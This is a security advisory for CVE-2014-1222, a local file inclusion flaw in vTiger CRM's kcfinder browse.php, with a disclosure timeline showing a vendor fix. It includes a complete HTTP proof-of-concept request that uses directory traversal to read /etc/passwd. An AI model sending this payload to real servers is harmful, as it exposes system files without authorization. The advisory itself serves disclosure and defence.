vTiger CRM 5.4.0/6.0 RC/6.0.0 GA – ‘browse.php’ Local File Inclusion
CVE: CVE-2014-1222 Vendor: Vtiger Product: CRM Affected version: Vtiger 5.4.0, 6.0 RC & 6.0.0 GA Fixed version: Vtiger 6.0.0 Security patch 1 Reported by: Jerzy Kramarz Details: A local file inclusion vulnerability was discovered in the ‘kcfinder’ component of the vtiger CRM 6.0 RC. This could be exploited to include arbitrary files via directory traversal sequences and subsequently disclose contents of arbitrary files. The following request is a Proof-of-Concept for retrieving /etc/passwd file from remote system. POST /vtigercrm6rc2/kcfinder/browse.php?type=files&lng=en&act=download HTTP/1.1 Host: 192.168.56.103 Proxy-Connection: keep-alive Content-Length: 58 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://192.168.56.103 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 Content-Type: application/x-www-form-urlencoded DNT: 1 Referer: http://192.168.56.103/vtigercrm6rc2/kcfinder/browse.php Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8,es;q=0.6,pl;q=0.4 Cookie: PHPSESSID=ejkcv9cl3efa861460ufr39hl2; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off dir=files&file=/../../../../../../../../../../../etc/passwd Note: In order to exploit this vulnerability an attacker has to be authenticated. Impact: This vulnerability gives an attacker the ability to read local files from the server filesystem. Exploit: Exploit code is not required. Vendor status: 23/12/2013 Advisory created 03/01/2014 Vendor contacted 14/01/2014 CVE obtained 27/01/2014 Vendor contact reattempted 10/02/2014 Vendor working on a fix 12/02/2014 Fix released 13/02/2014 Fix confirmed 11/03/2014 Published |